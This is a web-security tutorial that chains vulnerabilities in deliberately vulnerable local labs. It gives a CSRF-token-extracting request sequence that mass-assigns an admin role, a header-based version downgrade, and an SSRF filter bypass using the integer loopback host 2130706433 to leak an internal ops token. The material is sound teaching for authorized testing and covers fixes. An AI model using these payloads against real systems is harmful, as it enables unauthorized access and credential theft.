Tutorial 10 / Chaining · 2026-09-15

Building Exploit Chains

The final h5i tutorial: carry fresh values between requests, turn small findings into a complete compromise, and keep the entire chain reproducible.

The previous articles treated vulnerabilities one at a time. Real impact often appears only when several ordinary weaknesses connect.

Labs 41 and 42 conclude h5i-tutorial with two kinds of chain:

The governing question is:

What does this result let me reach that I could not reach before?

These are deliberately vulnerable local labs. Only test systems where you have explicit authorization.

Why a single replay is sometimes insufficient

h5i websec replay is ideal when a stored request needs one controlled change. Some endpoints, however, require a value generated moments earlier:

  1. log in;
  2. render a form;
  3. extract its fresh CSRF token;
  4. submit the form with that token; and
  5. request the result.

Copying values manually works once, but it is fragile and hard to reproduce. h5i websec sequence describes the steps, extracts values, and binds them into later requests.

Lab 41: mass assignment behind a valid CSRF token

Start the settings lab:

$ ./run.sh 41
$ h5i browser open 'http://127.0.0.1:9410/' \
  --session lab41 --new --capture

The settings form uses a fresh, single-use CSRF token. The protection works. The bug is that the update handler still accepts a role field that the form never displays.

A replay of an old submission will fail because its token is missing or expired. Create flow.json:

{
  "steps": [
    {
      "name": "log in",
      "resend": 0,
      "create": true,
      "set": [
        "method=POST",
        "path=/api/login",
        "header.Content-Type=application/json",
        "json.user=${user}",
        "json.password=${password}"
      ]
    },
    {
      "name": "render the form and take its token",
      "resend": 0,
      "create": true,
      "set": [
        "method=GET",
        "path=/account/settings"
      ],
      "extract": {
        "csrf": "regex:name=\"csrf\" value=\"([^\"]+)\""
      }
    },
    {
      "name": "save an extra field",
      "resend": 0,
      "create": true,
      "set": [
        "method=POST",
        "path=/account/settings",
        "header.Content-Type=application/x-www-form-urlencoded",
        "form.display_name=Guest",
        "form.csrf=${csrf}",
        "form.role=admin"
      ]
    },
    {
      "name": "collect",
      "resend": 0,
      "create": true,
      "set": [
        "method=GET",
        "path=/admin/flag"
      ],
      "extract": {
        "flag": "regex:(FLAG\\{[^}]+\\})"
      }
    }
  ]
}

Run it with the lab credentials:

$ h5i websec sequence flow.json \
  --session lab41 \
  --var user=guest \
  --var password=guest

The second step extracts csrf. ${csrf} in the third step is substituted with that exact value. An unbound variable stops the sequence rather than silently becoming an empty string.

The final step binds:

FLAG{sequence_csrf_chain}

The sequence does not bypass CSRF. It satisfies the control correctly and then tests a different property: whether the authenticated user may assign role.

The fix is the same as in Broken Access Control: allowlist editable fields and keep authorization data outside the object bound from the request.

Sequence files as security artifacts

A useful proof of concept should do more than work on its author’s machine. A sequence records:

That makes it suitable for retesting and CI. After a fix, the same sequence should fail at the intended step.

Useful extractors include regular expressions, JSON paths, response headers, and status codes. Cookies need no manual binding because the browser session’s cookie jar carries them between steps.

Lab 42: the final gauntlet

Lab 42 contains no new vulnerability class. It tests whether we can connect the techniques already learned.

$ ./run.sh 42
$ h5i browser open 'http://127.0.0.1:9420/robots.txt' \
  --session lab42 --new --capture
$ h5i websec sitemap --session lab42 --human

Keep every probe inside this session. The request history will become the reproduction.

Step 1: recon reveals the map

robots.txt names /internal/. Request its handover note:

$ h5i websec replay req_0 --session lab42 \
  --set path=/internal/handover.md

The note reveals four facts:

The note is not the final vulnerability. It tells us where the chain can go.

Step 2: deprecated behavior enables mass assignment

The visible route is /api/v1/signup, but a client-controlled header selects the older behavior. Ask it to create a support user:

$ h5i websec replay req_0 --session lab42 --create \
  --set method=POST \
  --set path=/api/v1/signup \
  --set header.Content-Type=application/json \
  --set header.X-Api-Version=0 \
  --set json.user=climber \
  --set json.role=support

The deprecated handler accepts role and returns a token. Copy it:

$ TOKEN='PASTE_SUPPORT_TOKEN'

We combined the recon lesson from Lab 5 with mass assignment from Lab 9. Version skew does not always appear in the URL; it may be controlled through a header, media type, or query parameter.

Step 3: support access unlocks SSRF

The support token grants access to a URL fetcher. The application blocks familiar loopback spellings, but not the integer form 2130706433:

$ h5i websec replay req_0 --session lab42 --create \
  --reset-budget \
  --set path=/api/support/fetch \
  --set "header.Authorization=Bearer $TOKEN" \
  --set query.url=http://2130706433:9421/debug/env

This is the SSRF filter bypass from Labs 25 and 26. The fetcher wraps what it received, so the ops service’s own JSON arrives as a string inside the body field:

{
  "status": 200,
  "body": "{\"NODE_ENV\": \"production\", \"OPS_TOKEN\": \"ops_...\", \"REGION\": \"eu-west-1\"}"
}

Copy the OPS_TOKEN value:

$ OPS='PASTE_OPS_TOKEN'

Step 4: use the internal secret

The final vault is reachable only through the internal service and requires the ops token:

$ h5i websec replay req_0 --session lab42 --create \
  --reset-budget \
  --set path=/api/support/fetch \
  --set "header.Authorization=Bearer $TOKEN" \
  --set "query.url=http://2130706433:9421/vault?token=$OPS"

The result contains:

FLAG{the_gauntlet}

The whole route was:

public robots.txt
  → internal handover note
  → deprecated signup behavior
  → support-role mass assignment
  → authenticated URL fetcher
  → SSRF filter bypass
  → internal debug environment
  → ops token
  → root credential

Why the chain matters

Consider the components separately:

Together, an unauthenticated visitor obtains the root credential.

A report should state that end-to-end impact first, then explain each link. Individual severity scores describe components; the chain describes actual risk.

Fixing a chain

Defense in depth means any correctly repaired boundary can stop the full path:

The existence of several fixes is good news. It also means a partial fix should be retested with the same sequence to identify whether another route still completes the chain.

The method to keep

Across all 42 labs, the recurring loop was:

  1. Capture a legitimate request.
  2. Read the complete response and traffic record.
  3. Change one thing through replay.
  4. Compare status, size, time, headers, and body.
  5. Ask what the result unlocks.
  6. Keep the next step in the same session.
  7. Turn the final path into a reproducible sequence.

h5i supplies the browser, direct HTTP control, and audit trail. The security reasoning remains the tester’s job: understand the application’s actors, objects, trust boundaries, and invariants.

Summary

Lab 41 automated a dynamic four-request flow without weakening its CSRF protection. Lab 42 chained recon, deprecated behavior, mass assignment, SSRF, and leaked internal credentials into a root compromise.

$ h5i browser close --session lab41
$ h5i browser close --session lab42
$ ./run.sh stop

The complete exercises, vulnerable applications, proof-of-concept scripts, and detailed solutions are available in h5i-tutorial.

References

Keep it beside you

Cheatsheet

The loop, every --set target, the replay flags, and probe values by class, on one page.

Run the labs yourself

42 deliberately vulnerable applications, one binary, no Docker and no accounts.